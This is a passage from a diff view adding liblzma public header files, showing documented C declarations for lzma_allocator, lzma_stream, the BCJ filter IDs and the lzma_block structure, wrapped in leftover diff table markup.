||||||
|
* the application.
|
||||||
|
*
|
||||||
|
* When decoding, using LZMA_FINISH is optional unless the
|
||||||
|
* LZMA_CONCATENATED flag was used when the decoder was
|
||||||
|
* initialized. When LZMA_CONCATENATED was not used, the only
|
||||||
|
* effect of LZMA_FINISH is that the amount of input must not
|
||||||
|
* be changed just like in the encoder.
|
||||||
|
*/
|
||||||
|
} lzma_action;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Custom functions for memory handling
|
||||||
|
*
|
||||||
|
* A pointer to lzma_allocator may be passed via lzma_stream structure
|
||||||
|
* to liblzma, and some advanced functions take a pointer to lzma_allocator
|
||||||
|
* as a separate function argument. The library will use the functions
|
||||||
|
* specified in lzma_allocator for memory handling instead of the default
|
||||||
|
* malloc() and free(). C++ users should note that the custom memory
|
||||||
|
* handling functions must not throw exceptions.
|
||||||
|
*
|
||||||
|
* Single-threaded mode only: liblzma doesn't make an internal copy of
|
||||||
|
* lzma_allocator. Thus, it is OK to change these function pointers in
|
||||||
|
* the middle of the coding process, but obviously it must be done
|
||||||
|
* carefully to make sure that the replacement `free' can deallocate
|
||||||
|
* memory allocated by the earlier `alloc' function(s).
|
||||||
|
*
|
||||||
|
* Multithreaded mode: liblzma might internally store pointers to the
|
||||||
|
* lzma_allocator given via the lzma_stream structure. The application
|
||||||
|
* must not change the allocator pointer in lzma_stream or the contents
|
||||||
|
* of the pointed lzma_allocator structure until lzma_end() has been used
|
||||||
|
* to free the memory associated with that lzma_stream. The allocation
|
||||||
|
* functions might be called simultaneously from multiple threads, and
|
||||||
|
* thus they must be thread safe.
|
||||||
|
*/
|
||||||
|
typedef struct {
|
||||||
|
/**
|
||||||
|
* \brief Pointer to a custom memory allocation function
|
||||||
|
*
|
||||||
|
* If you don't want a custom allocator, but still want
|
||||||
|
* custom free(), set this to NULL and liblzma will use
|
||||||
|
* the standard malloc().
|
||||||
|
*
|
||||||
|
* \param opaque lzma_allocator.opaque (see below)
|
||||||
|
* \param nmemb Number of elements like in calloc(). liblzma
|
||||||
|
* will always set nmemb to 1, so it is safe to
|
||||||
|
* ignore nmemb in a custom allocator if you like.
|
||||||
|
* The nmemb argument exists only for
|
||||||
|
* compatibility with zlib and libbzip2.
|
||||||
|
* \param size Size of an element in bytes.
|
||||||
|
* liblzma never sets this to zero.
|
||||||
|
*
|
||||||
|
* \return Pointer to the beginning of a memory block of
|
||||||
|
* `size' bytes, or NULL if allocation fails
|
||||||
|
* for some reason. When allocation fails, functions
|
||||||
|
* of liblzma return LZMA_MEM_ERROR.
|
||||||
|
*
|
||||||
|
* The allocator should not waste time zeroing the allocated buffers.
|
||||||
|
* This is not only about speed, but also memory usage, since the
|
||||||
|
* operating system kernel doesn't necessarily allocate the requested
|
||||||
|
* memory in physical memory until it is actually used. With small
|
||||||
|
* input files, liblzma may actually need only a fraction of the
|
||||||
|
* memory that it requested for allocation.
|
||||||
|
*
|
||||||
|
* \note LZMA_MEM_ERROR is also used when the size of the
|
||||||
|
* allocation would be greater than SIZE_MAX. Thus,
|
||||||
|
* don't assume that the custom allocator must have
|
||||||
|
* returned NULL if some function from liblzma
|
||||||
|
* returns LZMA_MEM_ERROR.
|
||||||
|
*/
|
||||||
|
void *(LZMA_API_CALL *alloc)(void *opaque, size_t nmemb, size_t size);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Pointer to a custom memory freeing function
|
||||||
|
*
|
||||||
|
* If you don't want a custom freeing function, but still
|
||||||
|
* want a custom allocator, set this to NULL and liblzma
|
||||||
|
* will use the standard free().
|
||||||
|
*
|
||||||
|
* \param opaque lzma_allocator.opaque (see below)
|
||||||
|
* \param ptr Pointer returned by lzma_allocator.alloc(),
|
||||||
|
* or when it is set to NULL, a pointer returned
|
||||||
|
* by the standard malloc().
|
||||||
|
*/
|
||||||
|
void (LZMA_API_CALL *free)(void *opaque, void *ptr);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Pointer passed to .alloc() and .free()
|
||||||
|
*
|
||||||
|
* opaque is passed as the first argument to lzma_allocator.alloc()
|
||||||
|
* and lzma_allocator.free(). This intended to ease implementing
|
||||||
|
* custom memory allocation functions for use with liblzma.
|
||||||
|
*
|
||||||
|
* If you don't need this, you should set this to NULL.
|
||||||
|
*/
|
||||||
|
void *opaque;
|
||||||
|
|
||||||
|
} lzma_allocator;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Internal data structure
|
||||||
|
*
|
||||||
|
* The contents of this structure is not visible outside the library.
|
||||||
|
*/
|
||||||
|
typedef struct lzma_internal_s lzma_internal;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Passing data to and from liblzma
|
||||||
|
*
|
||||||
|
* The lzma_stream structure is used for
|
||||||
|
* - passing pointers to input and output buffers to liblzma;
|
||||||
|
* - defining custom memory hander functions; and
|
||||||
|
* - holding a pointer to coder-specific internal data structures.
|
||||||
|
*
|
||||||
|
* Typical usage:
|
||||||
|
*
|
||||||
|
* - After allocating lzma_stream (on stack or with malloc()), it must be
|
||||||
|
* initialized to LZMA_STREAM_INIT (see LZMA_STREAM_INIT for details).
|
||||||
|
*
|
||||||
|
* - Initialize a coder to the lzma_stream, for example by using
|
||||||
|
* lzma_easy_encoder() or lzma_auto_decoder(). Some notes:
|
||||||
|
* - In contrast to zlib, strm->next_in and strm->next_out are
|
||||||
|
* ignored by all initialization functions, thus it is safe
|
||||||
|
* to not initialize them yet.
|
||||||
|
* - The initialization functions always set strm->total_in and
|
||||||
|
* strm->total_out to zero.
|
||||||
|
* - If the initialization function fails, no memory is left allocated
|
||||||
|
* that would require freeing with lzma_end() even if some memory was
|
||||||
|
* associated with the lzma_stream structure when the initialization
|
||||||
|
* function was called.
|
||||||
|
*
|
||||||
|
* - Use lzma_code() to do the actual work.
|
||||||
|
*
|
||||||
|
* - Once the coding has been finished, the existing lzma_stream can be
|
||||||
|
* reused. It is OK to reuse lzma_stream with different initialization
|
||||||
|
* function without calling lzma_end() first. Old allocations are
|
||||||
|
* automatically freed.
|
||||||
|
*
|
||||||
|
* - Finally, use lzma_end() to free the allocated memory. lzma_end() never
|
||||||
|
* frees the lzma_stream structure itself.
|
||||||
|
*
|
||||||
|
* Application may modify the values of total_in and total_out as it wants.
|
||||||
|
* They are updated by liblzma to match the amount of data read and
|
||||||
|
* written but aren't used for anything else except as a possible return
|
||||||
|
* values from lzma_get_progress().
|
||||||
|
*/
|
||||||
|
typedef struct {
|
||||||
|
const uint8_t *next_in; /**< Pointer to the next input byte. */
|
||||||
|
size_t avail_in; /**< Number of available input bytes in next_in. */
|
||||||
|
uint64_t total_in; /**< Total number of bytes read by liblzma. */
|
||||||
|
|
||||||
|
uint8_t *next_out; /**< Pointer to the next output position. */
|
||||||
|
size_t avail_out; /**< Amount of free space in next_out. */
|
||||||
|
uint64_t total_out; /**< Total number of bytes written by liblzma. */
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Custom memory allocation functions
|
||||||
|
*
|
||||||
|
* In most cases this is NULL which makes liblzma use
|
||||||
|
* the standard malloc() and free().
|
||||||
|
*
|
||||||
|
* \note In 5.0.x this is not a const pointer.
|
||||||
|
*/
|
||||||
|
const lzma_allocator *allocator;
|
||||||
|
|
||||||
|
/** Internal state is not visible to applications. */
|
||||||
|
lzma_internal *internal;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Reserved space to allow possible future extensions without
|
||||||
|
* breaking the ABI. Excluding the initialization of this structure,
|
||||||
|
* you should not touch these, because the names of these variables
|
||||||
|
* may change.
|
||||||
|
*/
|
||||||
|
void *reserved_ptr1;
|
||||||
|
void *reserved_ptr2;
|
||||||
|
void *reserved_ptr3;
|
||||||
|
void *reserved_ptr4;
|
||||||
|
uint64_t reserved_int1;
|
||||||
|
uint64_t reserved_int2;
|
||||||
|
size_t reserved_int3;
|
||||||
|
size_t reserved_int4;
|
||||||
|
lzma_reserved_enum reserved_enum1;
|
||||||
|
lzma_reserved_enum reserved_enum2;
|
||||||
|
|
||||||
|
} lzma_stream;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Initialization for lzma_stream
|
||||||
|
*
|
||||||
|
* When you declare an instance of lzma_stream, you can immediately
|
||||||
|
* initialize it so that initialization functions know that no memory
|
||||||
|
* has been allocated yet:
|
||||||
|
*
|
||||||
|
* lzma_stream strm = LZMA_STREAM_INIT;
|
||||||
|
*
|
||||||
|
* If you need to initialize a dynamically allocated lzma_stream, you can use
|
||||||
|
* memset(strm_pointer, 0, sizeof(lzma_stream)). Strictly speaking, this
|
||||||
|
* violates the C standard since NULL may have different internal
|
||||||
|
* representation than zero, but it should be portable enough in practice.
|
||||||
|
* Anyway, for maximum portability, you can use something like this:
|
||||||
|
*
|
||||||
|
* lzma_stream tmp = LZMA_STREAM_INIT;
|
||||||
|
* *strm = tmp;
|
||||||
|
*/
|
||||||
|
#define LZMA_STREAM_INIT \
|
||||||
|
{ NULL, 0, 0, NULL, 0, 0, NULL, NULL, \
|
||||||
|
NULL, NULL, NULL, NULL, 0, 0, 0, 0, \
|
||||||
|
LZMA_RESERVED_ENUM, LZMA_RESERVED_ENUM }
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Encode or decode data
|
||||||
|
*
|
||||||
|
* Once the lzma_stream has been successfully initialized (e.g. with
|
||||||
|
* lzma_stream_encoder()), the actual encoding or decoding is done
|
||||||
|
* using this function. The application has to update strm->next_in,
|
||||||
|
* strm->avail_in, strm->next_out, and strm->avail_out to pass input
|
||||||
|
* to and get output from liblzma.
|
||||||
|
*
|
||||||
|
* See the description of the coder-specific initialization function to find
|
||||||
|
* out what `action' values are supported by the coder.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_code(lzma_stream *strm, lzma_action action)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Free memory allocated for the coder data structures
|
||||||
|
*
|
||||||
|
* \param strm Pointer to lzma_stream that is at least initialized
|
||||||
|
* with LZMA_STREAM_INIT.
|
||||||
|
*
|
||||||
|
* After lzma_end(strm), strm->internal is guaranteed to be NULL. No other
|
||||||
|
* members of the lzma_stream structure are touched.
|
||||||
|
*
|
||||||
|
* \note zlib indicates an error if application end()s unfinished
|
||||||
|
* stream structure. liblzma doesn't do this, and assumes that
|
||||||
|
* application knows what it is doing.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(void) lzma_end(lzma_stream *strm) lzma_nothrow;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Get progress information
|
||||||
|
*
|
||||||
|
* In single-threaded mode, applications can get progress information from
|
||||||
|
* strm->total_in and strm->total_out. In multi-threaded mode this is less
|
||||||
|
* useful because a significant amount of both input and output data gets
|
||||||
|
* buffered internally by liblzma. This makes total_in and total_out give
|
||||||
|
* misleading information and also makes the progress indicator updates
|
||||||
|
* non-smooth.
|
||||||
|
*
|
||||||
|
* This function gives realistic progress information also in multi-threaded
|
||||||
|
* mode by taking into account the progress made by each thread. In
|
||||||
|
* single-threaded mode *progress_in and *progress_out are set to
|
||||||
|
* strm->total_in and strm->total_out, respectively.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(void) lzma_get_progress(lzma_stream *strm,
|
||||||
|
uint64_t *progress_in, uint64_t *progress_out) lzma_nothrow;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Get the memory usage of decoder filter chain
|
||||||
|
*
|
||||||
|
* This function is currently supported only when *strm has been initialized
|
||||||
|
* with a function that takes a memlimit argument. With other functions, you
|
||||||
|
* should use e.g. lzma_raw_encoder_memusage() or lzma_raw_decoder_memusage()
|
||||||
|
* to estimate the memory requirements.
|
||||||
|
*
|
||||||
|
* This function is useful e.g. after LZMA_MEMLIMIT_ERROR to find out how big
|
||||||
|
* the memory usage limit should have been to decode the input. Note that
|
||||||
|
* this may give misleading information if decoding .xz Streams that have
|
||||||
|
* multiple Blocks, because each Block can have different memory requirements.
|
||||||
|
*
|
||||||
|
* \return How much memory is currently allocated for the filter
|
||||||
|
* decoders. If no filter chain is currently allocated,
|
||||||
|
* some non-zero value is still returned, which is less than
|
||||||
|
* or equal to what any filter chain would indicate as its
|
||||||
|
* memory requirement.
|
||||||
|
*
|
||||||
|
* If this function isn't supported by *strm or some other error
|
||||||
|
* occurs, zero is returned.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(uint64_t) lzma_memusage(const lzma_stream *strm)
|
||||||
|
lzma_nothrow lzma_attr_pure;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Get the current memory usage limit
|
||||||
|
*
|
||||||
|
* This function is supported only when *strm has been initialized with
|
||||||
|
* a function that takes a memlimit argument.
|
||||||
|
*
|
||||||
|
* \return On success, the current memory usage limit is returned
|
||||||
|
* (always non-zero). On error, zero is returned.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(uint64_t) lzma_memlimit_get(const lzma_stream *strm)
|
||||||
|
lzma_nothrow lzma_attr_pure;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Set the memory usage limit
|
||||||
|
*
|
||||||
|
* This function is supported only when *strm has been initialized with
|
||||||
|
* a function that takes a memlimit argument.
|
||||||
|
*
|
||||||
|
* liblzma 5.2.3 and earlier has a bug where memlimit value of 0 causes
|
||||||
|
* this function to do nothing (leaving the limit unchanged) and still
|
||||||
|
* return LZMA_OK. Later versions treat 0 as if 1 had been specified (so
|
||||||
|
* lzma_memlimit_get() will return 1 even if you specify 0 here).
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: New memory usage limit successfully set.
|
||||||
|
* - LZMA_MEMLIMIT_ERROR: The new limit is too small.
|
||||||
|
* The limit was not changed.
|
||||||
|
* - LZMA_PROG_ERROR: Invalid arguments, e.g. *strm doesn't
|
||||||
|
* support memory usage limit.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_memlimit_set(
|
||||||
|
lzma_stream *strm, uint64_t memlimit) lzma_nothrow;
|
||||||
90
src/include/lzma/bcj.h
Normal file
90
src/include/lzma/bcj.h
Normal file
@ -0,0 +1,90 @@
|
|||||||
|
/**
|
||||||
|
* \file lzma/bcj.h
|
||||||
|
* \brief Branch/Call/Jump conversion filters
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Author: Lasse Collin
|
||||||
|
*
|
||||||
|
* This file has been put into the public domain.
|
||||||
|
* You can do whatever you want with this file.
|
||||||
|
*
|
||||||
|
* See ../lzma.h for information about liblzma as a whole.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef LZMA_H_INTERNAL
|
||||||
|
# error Never include this file directly. Use <lzma.h> instead.
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/* Filter IDs for lzma_filter.id */
|
||||||
|
|
||||||
|
#define LZMA_FILTER_X86 LZMA_VLI_C(0x04)
|
||||||
|
/**<
|
||||||
|
* Filter for x86 binaries
|
||||||
|
*/
|
||||||
|
|
||||||
|
#define LZMA_FILTER_POWERPC LZMA_VLI_C(0x05)
|
||||||
|
/**<
|
||||||
|
* Filter for Big endian PowerPC binaries
|
||||||
|
*/
|
||||||
|
|
||||||
|
#define LZMA_FILTER_IA64 LZMA_VLI_C(0x06)
|
||||||
|
/**<
|
||||||
|
* Filter for IA-64 (Itanium) binaries.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#define LZMA_FILTER_ARM LZMA_VLI_C(0x07)
|
||||||
|
/**<
|
||||||
|
* Filter for ARM binaries.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#define LZMA_FILTER_ARMTHUMB LZMA_VLI_C(0x08)
|
||||||
|
/**<
|
||||||
|
* Filter for ARM-Thumb binaries.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#define LZMA_FILTER_SPARC LZMA_VLI_C(0x09)
|
||||||
|
/**<
|
||||||
|
* Filter for SPARC binaries.
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Options for BCJ filters
|
||||||
|
*
|
||||||
|
* The BCJ filters never change the size of the data. Specifying options
|
||||||
|
* for them is optional: if pointer to options is NULL, default value is
|
||||||
|
* used. You probably never need to specify options to BCJ filters, so just
|
||||||
|
* set the options pointer to NULL and be happy.
|
||||||
|
*
|
||||||
|
* If options with non-default values have been specified when encoding,
|
||||||
|
* the same options must also be specified when decoding.
|
||||||
|
*
|
||||||
|
* \note At the moment, none of the BCJ filters support
|
||||||
|
* LZMA_SYNC_FLUSH. If LZMA_SYNC_FLUSH is specified,
|
||||||
|
* LZMA_OPTIONS_ERROR will be returned. If there is need,
|
||||||
|
* partial support for LZMA_SYNC_FLUSH can be added in future.
|
||||||
|
* Partial means that flushing would be possible only at
|
||||||
|
* offsets that are multiple of 2, 4, or 16 depending on
|
||||||
|
* the filter, except x86 which cannot be made to support
|
||||||
|
* LZMA_SYNC_FLUSH predictably.
|
||||||
|
*/
|
||||||
|
typedef struct {
|
||||||
|
/**
|
||||||
|
* \brief Start offset for conversions
|
||||||
|
*
|
||||||
|
* This setting is useful only when the same filter is used
|
||||||
|
* _separately_ for multiple sections of the same executable file,
|
||||||
|
* and the sections contain cross-section branch/call/jump
|
||||||
|
* instructions. In that case it is beneficial to set the start
|
||||||
|
* offset of the non-first sections so that the relative addresses
|
||||||
|
* of the cross-section branch/call/jump instructions will use the
|
||||||
|
* same absolute addresses as in the first section.
|
||||||
|
*
|
||||||
|
* When the pointer to options is NULL, the default value (zero)
|
||||||
|
* is used.
|
||||||
|
*/
|
||||||
|
uint32_t start_offset;
|
||||||
|
|
||||||
|
} lzma_options_bcj;
|
||||||
581
src/include/lzma/block.h
Normal file
581
src/include/lzma/block.h
Normal file
@ -0,0 +1,581 @@
|
|||||||
|
/**
|
||||||
|
* \file lzma/block.h
|
||||||
|
* \brief .xz Block handling
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Author: Lasse Collin
|
||||||
|
*
|
||||||
|
* This file has been put into the public domain.
|
||||||
|
* You can do whatever you want with this file.
|
||||||
|
*
|
||||||
|
* See ../lzma.h for information about liblzma as a whole.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef LZMA_H_INTERNAL
|
||||||
|
# error Never include this file directly. Use <lzma.h> instead.
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Options for the Block and Block Header encoders and decoders
|
||||||
|
*
|
||||||
|
* Different Block handling functions use different parts of this structure.
|
||||||
|
* Some read some members, other functions write, and some do both. Only the
|
||||||
|
* members listed for reading need to be initialized when the specified
|
||||||
|
* functions are called. The members marked for writing will be assigned
|
||||||
|
* new values at some point either by calling the given function or by
|
||||||
|
* later calls to lzma_code().
|
||||||
|
*/
|
||||||
|
typedef struct {
|
||||||
|
/**
|
||||||
|
* \brief Block format version
|
||||||
|
*
|
||||||
|
* To prevent API and ABI breakages when new features are needed,
|
||||||
|
* a version number is used to indicate which fields in this
|
||||||
|
* structure are in use:
|
||||||
|
* - liblzma >= 5.0.0: version = 0 is supported.
|
||||||
|
* - liblzma >= 5.1.4beta: Support for version = 1 was added,
|
||||||
|
* which adds the ignore_check field.
|
||||||
|
*
|
||||||
|
* If version is greater than one, most Block related functions
|
||||||
|
* will return LZMA_OPTIONS_ERROR (lzma_block_header_decode() works
|
||||||
|
* with any version value).
|
||||||
|
*
|
||||||
|
* Read by:
|
||||||
|
* - All functions that take pointer to lzma_block as argument,
|
||||||
|
* including lzma_block_header_decode().
|
||||||
|
*
|
||||||
|
* Written by:
|
||||||
|
* - lzma_block_header_decode()
|
||||||
|
*/
|
||||||
|
uint32_t version;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Size of the Block Header field
|
||||||
|
*
|
||||||
|
* This is always a multiple of four.
|
||||||
|
*
|
||||||
|
* Read by:
|
||||||
|
* - lzma_block_header_encode()
|
||||||
|
* - lzma_block_header_decode()
|
||||||
|
* - lzma_block_compressed_size()
|
||||||
|
* - lzma_block_unpadded_size()
|
||||||
|
* - lzma_block_total_size()
|
||||||
|
* - lzma_block_decoder()
|
||||||
|
* - lzma_block_buffer_decode()
|
||||||
|
*
|
||||||
|
* Written by:
|
||||||
|
* - lzma_block_header_size()
|
||||||
|
* - lzma_block_buffer_encode()
|
||||||
|
*/
|
||||||
|
uint32_t header_size;
|
||||||
|
# define LZMA_BLOCK_HEADER_SIZE_MIN 8
|
||||||
|
# define LZMA_BLOCK_HEADER_SIZE_MAX 1024
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Type of integrity Check
|
||||||
|
*
|
||||||
|
* The Check ID is not stored into the Block Header, thus its value
|
||||||
|
* must be provided also when decoding.
|
||||||
|
*
|
||||||
|
* Read by:
|
||||||
|
* - lzma_block_header_encode()
|
||||||
|
* - lzma_block_header_decode()
|
||||||
|
* - lzma_block_compressed_size()
|
||||||
|
* - lzma_block_unpadded_size()
|
||||||
|
* - lzma_block_total_size()
|
||||||
|
* - lzma_block_encoder()
|
||||||
|
* - lzma_block_decoder()
|
||||||
|
* - lzma_block_buffer_encode()
|
||||||
|
* - lzma_block_buffer_decode()
|
||||||
|
*/
|
||||||
|
lzma_check check;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Size of the Compressed Data in bytes
|
||||||
|
*
|
||||||
|
* Encoding: If this is not LZMA_VLI_UNKNOWN, Block Header encoder
|
||||||
|
* will store this value to the Block Header. Block encoder doesn't
|
||||||
|
* care about this value, but will set it once the encoding has been
|
||||||
|
* finished.
|
||||||
|
*
|
||||||
|
* Decoding: If this is not LZMA_VLI_UNKNOWN, Block decoder will
|
||||||
|
* verify that the size of the Compressed Data field matches
|
||||||
|
* compressed_size.
|
||||||
|
*
|
||||||
|
* Usually you don't know this value when encoding in streamed mode,
|
||||||
|
* and thus cannot write this field into the Block Header.
|
||||||
|
*
|
||||||
|
* In non-streamed mode you can reserve space for this field before
|
||||||
|
* encoding the actual Block. After encoding the data, finish the
|
||||||
|
* Block by encoding the Block Header. Steps in detail:
|
||||||
|
*
|
||||||
|
* - Set compressed_size to some big enough value. If you don't know
|
||||||
|
* better, use LZMA_VLI_MAX, but remember that bigger values take
|
||||||
|
* more space in Block Header.
|
||||||
|
*
|
||||||
|
* - Call lzma_block_header_size() to see how much space you need to
|
||||||
|
* reserve for the Block Header.
|
||||||
|
*
|
||||||
|
* - Encode the Block using lzma_block_encoder() and lzma_code().
|
||||||
|
* It sets compressed_size to the correct value.
|
||||||
|
*
|
||||||
|
* - Use lzma_block_header_encode() to encode the Block Header.
|
||||||
|
* Because space was reserved in the first step, you don't need
|
||||||
|
* to call lzma_block_header_size() anymore, because due to
|
||||||
|
* reserving, header_size has to be big enough. If it is "too big",
|
||||||
|
* lzma_block_header_encode() will add enough Header Padding to
|
||||||
|
* make Block Header to match the size specified by header_size.
|
||||||
|
*
|
||||||
|
* Read by:
|
||||||
|
* - lzma_block_header_size()
|
||||||
|
* - lzma_block_header_encode()
|
||||||
|
* - lzma_block_compressed_size()
|
||||||
|
* - lzma_block_unpadded_size()
|
||||||
|
* - lzma_block_total_size()
|
||||||
|
* - lzma_block_decoder()
|
||||||
|
* - lzma_block_buffer_decode()
|
||||||
|
*
|
||||||
|
* Written by:
|
||||||
|
* - lzma_block_header_decode()
|
||||||
|
* - lzma_block_compressed_size()
|
||||||
|
* - lzma_block_encoder()
|
||||||
|
* - lzma_block_decoder()
|
||||||
|
* - lzma_block_buffer_encode()
|
||||||
|
* - lzma_block_buffer_decode()
|
||||||
|
*/
|
||||||
|
lzma_vli compressed_size;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Uncompressed Size in bytes
|
||||||
|
*
|
||||||
|
* This is handled very similarly to compressed_size above.
|
||||||
|
*
|
||||||
|
* uncompressed_size is needed by fewer functions than
|
||||||
|
* compressed_size. This is because uncompressed_size isn't
|
||||||
|
* needed to validate that Block stays within proper limits.
|
||||||
|
*
|
||||||
|
* Read by:
|
||||||
|
* - lzma_block_header_size()
|
||||||
|
* - lzma_block_header_encode()
|
||||||
|
* - lzma_block_decoder()
|
||||||
|
* - lzma_block_buffer_decode()
|
||||||
|
*
|
||||||
|
* Written by:
|
||||||
|
* - lzma_block_header_decode()
|
||||||
|
* - lzma_block_encoder()
|
||||||
|
* - lzma_block_decoder()
|
||||||
|
* - lzma_block_buffer_encode()
|
||||||
|
* - lzma_block_buffer_decode()
|
||||||
|
*/
|
||||||
|
lzma_vli uncompressed_size;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Array of filters
|
||||||
|
*
|
||||||
|
* There can be 1-4 filters. The end of the array is marked with
|
||||||
|
* .id = LZMA_VLI_UNKNOWN.
|
||||||
|
*
|
||||||
|
* Read by:
|
||||||
|
* - lzma_block_header_size()
|
||||||
|
* - lzma_block_header_encode()
|
||||||
|
* - lzma_block_encoder()
|
||||||
|
* - lzma_block_decoder()
|
||||||
|
* - lzma_block_buffer_encode()
|
||||||
|
* - lzma_block_buffer_decode()
|
||||||
|
*
|
||||||
|
* Written by:
|
||||||
|
* - lzma_block_header_decode(): Note that this does NOT free()
|
||||||
|
* the old filter options structures. All unused filters[] will
|
||||||
|
* have .id == LZMA_VLI_UNKNOWN and .options == NULL. If
|
||||||
|
* decoding fails, all filters[] are guaranteed to be
|
||||||
|
* LZMA_VLI_UNKNOWN and NULL.
|
||||||
|
*
|
||||||
|
* \note Because of the array is terminated with
|
||||||
|
* .id = LZMA_VLI_UNKNOWN, the actual array must
|
||||||
|
* have LZMA_FILTERS_MAX + 1 members or the Block
|
||||||
|
* Header decoder will overflow the buffer.
|
||||||
|
*/
|
||||||
|
lzma_filter *filters;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Raw value stored in the Check field
|
||||||
|
*
|
||||||
|
* After successful coding, the first lzma_check_size(check) bytes
|
||||||
|
* of this array contain the raw value stored in the Check field.
|
||||||
|
*
|
||||||
|
* Note that CRC32 and CRC64 are stored in little endian byte order.
|
||||||
|
* Take it into account if you display the Check values to the user.
|
||||||
|
*
|
||||||
|
* Written by:
|
||||||
|
* - lzma_block_encoder()
|
||||||
|
* - lzma_block_decoder()
|
||||||
|
* - lzma_block_buffer_encode()
|
||||||
|
* - lzma_block_buffer_decode()
|
||||||
|
*/
|
||||||
|
uint8_t raw_check[LZMA_CHECK_SIZE_MAX];
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Reserved space to allow possible future extensions without
|
||||||
|
* breaking the ABI. You should not touch these, because the names
|
||||||
|
* of these variables may change. These are and will never be used
|
||||||
|
* with the currently supported options, so it is safe to leave these
|
||||||
|
* uninitialized.
|
||||||
|
*/
|
||||||
|
void *reserved_ptr1;
|
||||||
|
void *reserved_ptr2;
|
||||||
|
void *reserved_ptr3;
|
||||||
|
uint32_t reserved_int1;
|
||||||
|
uint32_t reserved_int2;
|
||||||
|
lzma_vli reserved_int3;
|
||||||
|
lzma_vli reserved_int4;
|
||||||
|
lzma_vli reserved_int5;
|
||||||
|
lzma_vli reserved_int6;
|
||||||
|
lzma_vli reserved_int7;
|
||||||
|
lzma_vli reserved_int8;
|
||||||
|
lzma_reserved_enum reserved_enum1;
|
||||||
|
lzma_reserved_enum reserved_enum2;
|
||||||
|
lzma_reserved_enum reserved_enum3;
|
||||||
|
lzma_reserved_enum reserved_enum4;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief A flag to Block decoder to not verify the Check field
|
||||||
|
*
|
||||||
|
* This field is supported by liblzma >= 5.1.4beta if .version >= 1.
|
||||||
|
*
|
||||||
|
* If this is set to true, the integrity check won't be calculated
|
||||||
|
* and verified. Unless you know what you are doing, you should
|
||||||
|
* leave this to false. (A reason to set this to true is when the
|
||||||
|
* file integrity is verified externally anyway and you want to
|
||||||
|
* speed up the decompression, which matters mostly when using
|
||||||
|
* SHA-256 as the integrity check.)
|
||||||
|
*
|
||||||
|
* If .version >= 1, read by:
|
||||||
|
* - lzma_block_decoder()
|
||||||
|
* - lzma_block_buffer_decode()
|
||||||
|
*
|
||||||
|
* Written by (.version is ignored):
|
||||||
|
* - lzma_block_header_decode() always sets this to false
|
||||||
|
*/
|
||||||
|
lzma_bool ignore_check;
|
||||||
|
|
||||||
|
lzma_bool reserved_bool2;
|
||||||
|
lzma_bool reserved_bool3;
|
||||||
|
lzma_bool reserved_bool4;
|
||||||
|
lzma_bool reserved_bool5;
|
||||||
|
lzma_bool reserved_bool6;
|
||||||
|
lzma_bool reserved_bool7;
|
||||||
|
lzma_bool reserved_bool8;
|
||||||
|
|
||||||
|
} lzma_block;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Decode the Block Header Size field
|
||||||
|
*
|
||||||
|
* To decode Block Header using lzma_block_header_decode(), the size of the
|
||||||
|
* Block Header has to be known and stored into lzma_block.header_size.
|
||||||
|
* The size can be calculated from the first byte of a Block using this macro.
|
||||||
|
* Note that if the first byte is 0x00, it indicates beginning of Index; use
|
||||||
|
* this macro only when the byte is not 0x00.
|
||||||
|
*
|
||||||
|
* There is no encoding macro, because Block Header encoder is enough for that.
|
||||||
|
*/
|
||||||
|
#define lzma_block_header_size_decode(b) (((uint32_t)(b) + 1) * 4)
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Calculate Block Header Size
|
||||||
|
*
|
||||||
|
* Calculate the minimum size needed for the Block Header field using the
|
||||||
|
* settings specified in the lzma_block structure. Note that it is OK to
|
||||||
|
* increase the calculated header_size value as long as it is a multiple of
|
||||||
|
